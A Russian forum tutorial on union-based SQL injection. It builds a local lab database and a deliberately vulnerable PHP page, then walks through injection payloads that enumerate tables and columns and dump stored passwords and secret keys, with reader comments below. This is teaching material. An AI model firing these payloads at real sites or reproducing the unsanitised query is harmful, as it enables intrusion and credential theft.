Статья SQL-injection, начало - UNION BASED

Приветствую тебя читатель!

Сегодня мы будем взламывать базу данных Mysql. Материала по этой теме в сети предостаточно, но когда я начал изучать эту тему, то она показалась мне весьма запутанной. Все гайды были несколько абстрактны, непонятно почему запрос именно такой, а не другой и т.д. Поэтому, прежде чем ломать базы данных, нужно хоть немного понимать что делают те или иные запросы sql. Именно поэтому, я сначала написал эти статьи Часть 1 Часть 2 Часть 3

Если ты новичок, и непременно хочешь разбираться в sql-инъекциях, то сначала проделай то, что написано в этих статьях. А для чего вообще нужно ручное тестирование? Ведь есть куча программ во главе с sqlmap. Я так скажу - не все инъекции и не всегда могут раскрутить программы. В тоже время ручные тесты дадут максимальный шанс внедрить произвольный sql-код. Кроме того, даже если вы станете продвинутым пользователем sqlmap, то это лишь уровень скрипт-кидди, не понимающего что происходит на самом деле. Разумеется программы для того и придуманы, чтобы облегчить наш труд, но труд знающего человека, у которого не возникает вопросов по пейлоадам.

Я не буду писать очередную статью на примере абстрактных данных. Мы сделаем кое-что поинтереснее, а именно сами создадим уязвимую веб-страничку и базу данных к ней. Таким образом, нам будут видны все исходные данные, и будет гораздо проще понять как происходит процесс внедрения произвольного sql-кода.

Приступим.

Показывать буду на примере Kali Linux. Где-то я буду повторять то, что есть в предыдущих статьях, чтобы получился полный гайд, без пропусков. Запускаем СУБД service mysql start Сначала нужно подключиться к MySQL, для этого достаточно ввести в терминале mysql. Если же ранее был добавлен пароль для root, то вход такой mysql -u root -p пароль. И не путайте, root для ОС и root для БД это не одно и тоже.

Создадим базу данных
create database golden_key;

2.png


Теперь создадим пользователя MySQL buratino и дадим ему полные права на созданную базу данных
grant all privileges on golden_key.* to buratino@localhost identified by 'papa_Karlo';
Обновляем привилегии flush privileges;

3.png


Выходим из-под root набрав exit, и логинимся под пользователем buratino mysql -u buratino -p
Меняем текущую базу use golden_key;

Создаём 2 таблицы с колонками

CREATE TABLE login (
id INT NOT NULL AUTO_INCREMENT,
nickname VARCHAR(30) NOT NULL,
login VARCHAR(40) NOT NULL,
statement INT NOT NULL,
PRIMARY KEY(id)
);

CREATE TABLE passwd (
id INT NOT NULL AUTO_INCREMENT,
email VARCHAR(40) NOT NULL,
password VARCHAR(40) NOT NULL,
secret_key VARCHAR(40) NOT NULL,
PRIMARY KEY(id)
);


4.png


Проверяем desc login; и desc passwd;

5.png


Заполняем поля

INSERT INTO login (nickname,login,statement)
VALUES
("buratino","buratino","1000000"),
("malvina","4uvixa","300000"),
("karabas","boroda","800000"),
("Alisa_fox","kumushka","500000");

INSERT INTO passwd (email,password,secret_key)
VALUES
("wood@mail.ru","papa_Karlo","dast_ist_super-puper_secret_key"),
("devaxa@yandex.ru","solnyshko","d5t6z9h35d6r5c6l"),
("bablo@yahoo.com","bigboss","5y6q3n5f9j3z2gj6"),
("best@gmail.com","blue_sky","g2x5f2s6f7c5f1s6");


6.png


Делаем дамп базы, убедимся, что всё прошло как надо SELECT * FROM login,passwd WHERE login.id = passwd.id;

7.png


Вот и чудненько! База готова, теперь нужно сделать php-страничку. Заходите в каталог html /var/www/html/ и создаёте файл index.php со следующим содержанием:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>First hack</title>
</head>
<body>
<?php
$server = "localhost";
$user = "root";
$password = "";
$db = "golden_key";

// Открываем соединение
$link = new mysqli($server, $user, $password, $db);

// Проверка результата подключения
if ($link->connect_error) {
    die("Подключение не удалось: " . $link->connect_error);
}

if(isset($_GET['id']))
{
$id=$_GET['id'];

$sql="SELECT * FROM login WHERE id='$id'";
$result=mysqli_query($link,$sql);
if(!$result){
echo'Error While Selection process: '.mysqli_error($link).' Error code: '.mysqli_errno($link);
exit;
}
$row = mysqli_fetch_array($result);

    if($row)
    {
      echo '<font color= "#0000ff">';
      echo 'ID: '. $row['id'];
      echo "<br>";
      echo 'Your Login: ' .$row['login'];
      echo "</font>";
      }
    }
    else { echo "Please input the ID as parameter with numeric value";}



?>
<div>
<br>
<img border="1" src="http://localhost/images/buratino.jpeg" width="600" height="399">
</div>
</body>
</html>

Создайте каталог images и закиньте туда . Обязательно выставите права на Чтение и запись для для "Остальные".

8.png


Теперь запускаем апач service apache2 start и переходим в браузере по ссылке localhost/index.php Если вы всё сделали правильно, то увидите это

9.png


Отлично! Теперь я расскажу вам сказочку )

Много воды утекло, Буратино забарыжил золотой ключик и открыл казино. Деньги потекли рекой. По совету бывалых он прикупил криптовалюты. И поднял на хайпе приличную сумму. Сразу рядом закрутились старые знакомые - Мальвина, лиса Алиса, даже Карабас пришёл к Буратино за советом.

Буратино, не долго думая, задрал свой нос, и предложил тусовке заделаться инвесторами, а он будет управлять портфелем. Так и порешили. Что удивительно, всё шло как по маслу. И в один прекрасный день повстречался Базилио.

- Сколько лет, сколько зим! Как дела Буратино?
- Да всё пучком, рублю капусту на крипте.
А ты это, не боишься забыть пароль от кошелька?
Не! По совету папы Карло, я выучился на программиста. Так вот, я сделал сайт с базой данных, и туда занёс пароли, надёжно, всегда можно посмотреть.
Дай ссылочку!
Да у тебя компьютер хоть есть?
Да, нашёл старенький планшет на помойке.
Ну тогда зацени, какую я фотку на сайте выставил - просто красавчик! localhost/index.php
Хорошо, гляну на досуге, пока!

Буратино не знал, что пора попрошайничества у Базилио в прошлом. Он действительно нашёл ноут в довольно неплохом состоянии. А так как времени у него было предостаточно, то мало-помалу посиживал на форумах, искал полезную инфу и тренировался. Через 3 года он стал неплохим хакером.

Удача идёт ко мне прямо в руки - подумал Базилио. Этот лопух Буратино не знает с кем связался, гы-ы! Через пару дней котяра заслал носатому бэкдор, получил доступ к машине, и обнаружил файл wallet.dat с паролем. Ага! Значит не врал чурбачок!

Пора ломануть сайтец, не думаю что деревянные мозги поставили защиту. Посмотрим...


Ну что же, первым делом нужно проверить на самую простую уязвимость UNION BASED, просто подставив в параметр одиночную кавычку.
localhost/index.php?id=1'
Ага, ошибка, как я и думал - лошара берёзовая!

10.png


Выясним теперь сколько колонок используется в запросе. Сделать это можно по-разному. Самый незатейливый способ:

1' union select 1 -- - пишет что количество колонок не совпадает. Мы знаем что ДО UNION и ПОСЛЕ, их количество должно быть равным. Поэтому продолжаем увеличивать их количество до тех пор, пока ошибка не пропадёт.

13.png


1' union select 1,2 -- -
1' union select 1,2,3 -- -
1' union select 1,2,3,4 -- -
ошибки нет, значит колонок 4

Этот способ неудобен, ведь колонок может быть много. Следующий вариант практичнее.

1' group by 10 -- - ошибка, пишет, что колонки 10 не существует

11.png


1' group by 5 -- - делим пополам, тоже мимо
1' group by 3 -- - ошибки нет
1' group by 4 -- - тоже нет, значит колонок 4
Максимальное количество колонок без ошибки = количеству колонок в запросе.

12.png


Тот же результат можно получить используя оператор order by. Это разные операторы, не дублирующие друг друга, но в данном контексте отработают идентично 1' order by 4 -- -

Теперь нужно пояснить что это за дефисы в запросе -- - В mysql 2 дефиса это знак комментария, после которого ничего не считывается, а значит всё что идёт после знака комментария в запросе, будет отброшено. После двух дефисов обязательно должен идти пробел и потом можно писать любой комментарий. Такой запрос не вызовет ошибку 1' order by 4 -- hacker
Также пробел часто заменяют плюсом. Варианты комментариев:
1' order by 4 -- -
1' order by 4 --+-
1' order by 4 --+
1' order by 4 ;%00


Также, в зависимости от кода, могут прокатывать и такие варианты:
#
/**/


Нужно понимать, что не все колонки могут быть уязвимыми. Как это выяснить? Когда мы отправили запрос 1' union select 1,2,3,4 -- - на странице абсолютно ничего не изменилось, так как идёт выдача на странице только одного оригинального запроса. И чтобы получить что-нибудь уже из нашего запроса, нужно как-то избавиться от первого запроса. Для этого мы в параметре id поставим значение, которого точно не должно быть в базе. Например -1 или 99999

Отправляем 99999' union select 1,2,3,4 -- - Отлично! Мы видим, что уязвимая колонка 3.

14.png


Но на самом деле, так мы можем не понять, что имеется и уязвимость в первой колонке, так как наша цифра 1 совпадает с id 1. Лучше всего вводить большие числа. Отправим несколько другой запрос, теперь всё видно невооружённым глазом - уязвимы колонки 1 и 3.

16.png


Теперь выясним название текущей базы данных. Отправляем запрос 99999' union select 1,2,database(),4 -- -
Вот и наша базка golden_key

15.png


А теперь посмотрим как на самом деле выглядит наш запрос:
SELECT * FROM login WHERE id='1' такой запрос на странице с id 1, а мы к нему добавляем -1' union select 1,2,database(),4 -- - и в итоге получается
SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -' то есть мы внедрили свой запрос внутрь оригинального запроса. Проверить это можно отредактировав строку 26 нашей php-странички
$sql="SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -'"; и зайдя на localhost/index.php?id=1 мы увидим, что вывелось название БД.

Поскольку уязвимость в двух колонках, то можно вывести данные в обоих.
-1' union select version(),2222,database(),4444 -- -

17.png



Теперь узнаем названия таблиц.
-1' union select table_name,2,3,4 from information_schema.tables where table_schema='golden_key' -- -
Вывелась одна таблица passwd а ведь мы делали 2 таблицы.

222.png


INFORMATION_SCHEMA содержит в себе имена всех таблиц и колонок. Не всегда можно получить все таблицы, здесь выводится только первая строка из ответа БД, поэтому применим limit который выводит по 1-й записи. Причём нумерация начинается с нуля. Такой запрос тоже вернёт таблицу passwd.
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 0,1 -- -
А теперь увеличим значение на единицу
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 1,1 -- -
И вот мы вывели таблицу login.

2222.png


Пробуем ещё добавить limit 2,1 пустой вывод, значит таблицы две passwd и login.

Пора вытащить названия колонок
-1' union select column_name,2,3,4 from information_schema.columns where table_name='login' limit 0,1 -- -
Поочерёдными запросами вытаскиваем id,nickname,login,statement

18.png


Таким же образом поступаем с таблицей passwd
-1' union select column_name,2,3,4 from information_schema.columns where table_name='passwd' limit 0,1 -- -
Вытаскиваем id,email,password,secret_key


Теперь зная названия колонок, можно извлекать из них записи. Заглянем-ка в колонку statement, может у носатого 3 копейки на счету, и не стоит заморачиваться -1' union select nickname,2,statement,4 from login -- -

19.png


Ничего себе! Миллион монет на счету, удача идёт прямо в руки!


Ну вы уже надеюсь поняли, что мы вытащили только первую запись, другие через limit нужно забирать
-1' union select nickname,2,statement,4 from login limit 1,1 -- -

Заберём секретный ключ у чурбачка в колпаке!
-1' union select email,2,secret_key,4 from passwd -- -

20.png


Бинго!

Ну, что же, хорошо поработали. А теперь домашнее задание. Заходим на один , где есть порядка 60 уязвимых задач. Вам нужно решить 4 базовые задачи.

1.png


Они попроще, чем то что мы разобрали. Задачи практически одинаковые, отличаются буквально одной маленькой деталью.
Подсказка - внимательно смотрите на вывод ошибки, и имейте в виду, что кодер может обрамить вывод параметра по-разному
select * from table_name where id=1
select * from table_name where id='1'
select * from table_name where id="1"
select * from table_name where id=(1)
select * from table_name where id=('1')
select * from table_name where id=("1")


Удачи!
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Последнее редактирование:
  • Нравится
Реакции: kluster

PreeCop

Member
30.07.2019
12
0
BIT
0
Возникает проблема с подключением. С чем это может быть связано и как это починить?
1591448217723.png
 
Последнее редактирование:

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Варианты разные есть - неверно пароль задали, не хватает привилегий - тогда в интерактивной консоли войдите в базу USE mysql; и задайте максимальные привилегии пользователю root. Изначально это и так суперпользователь, но возможно вы его случайно ограничили в правах...
 
  • Нравится
Реакции: whoamikarate

Wenzel

Green Team
10.08.2020
194
74
BIT
9
@explorer
Перешел из другой темы по ссылке "Похожие темы", и залип тут на полдня. Спасибо за доходчивое разъяснение материала! Выполняя задания натыкался на проблемы из-за своей же невнимательности, но перечитав статью несколько раз, все решилось. Еще раз благодарю.
 
  • Нравится
Реакции: explorer

cxd

New member
08.09.2020
1
0
BIT
0
Подскажите пожалуйста а каким образом можно проверять POST запросы если сайт в виде site.com/someinfo/
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Подскажите пожалуйста а каким образом можно проверять POST запросы если сайт в виде site.com/someinfo/

Сами SQL-запросы ничем не отличаются в GET и POST запросах. А чтобы делать проверку на уязвимость в POST запросе, нужно перехватить сам запрос через прокси. Самый ходовой вариант для этого Burp Suite
 

StripedBear

Green Team
24.07.2021
33
23
BIT
11

StripedBear

Green Team
24.07.2021
33
23
BIT
11
Да, в сети есть разные уязвимые машины, например
Объясните пожалуйста, почему работает
testphp.vulnweb.com/artists.php?artist=-1 union select 1, 2, 3 -- -
а не как в примере из этой темы(с кавычкой):
testphp.vulnweb.com/artists.php?artist=-1' union select 1, 2, 3 -- -
Получилось получить пару юзер\пароль, просто интересно почему так, а не как в примере с буратино
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Объясните пожалуйста, почему работает
testphp.vulnweb.com/artists.php?artist=-1 union select 1, 2, 3 -- -
а не как в примере из этой темы(с кавычкой):
testphp.vulnweb.com/artists.php?artist=-1' union select 1, 2, 3 -- -
Получилось получить пару юзер\пароль, просто интересно почему так, а не как в примере с буратино

Просто вы невнимательно прочли материал. В самом конце написаны варианты оформления в коде:

52415415.png

Как можно увидеть параметр может не содержать обрамления кавычками, а также они могут быть двойными или со скобками. Синтаксис позволяет писать как захочется программисту, именно от этого и будет зависеть как раскручивать уязвимость.
 
  • Нравится
Реакции: StripedBear

zaqwer3d

New member
07.04.2022
1
0
BIT
2
Приветствую! Почему может не выводить ошибку в окно браузера?
1.PNG
2.PNG
 

Komokze

One Level
05.03.2020
7
10
BIT
3
Приветствую! Почему может не выводить ошибку в окно браузера?
Здравствуйте.
Тоже прохожу по порядку курс. Я так понял с определенной версии apache параметр display_errors по умолчанию имеет значение off. Поэтому просто установите параметр display_errors = on в /etc/php/8.1/apache2/php.ini и все у вас заработает =)
 
Последнее редактирование:
  • Нравится
Реакции: zaqwer3d
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!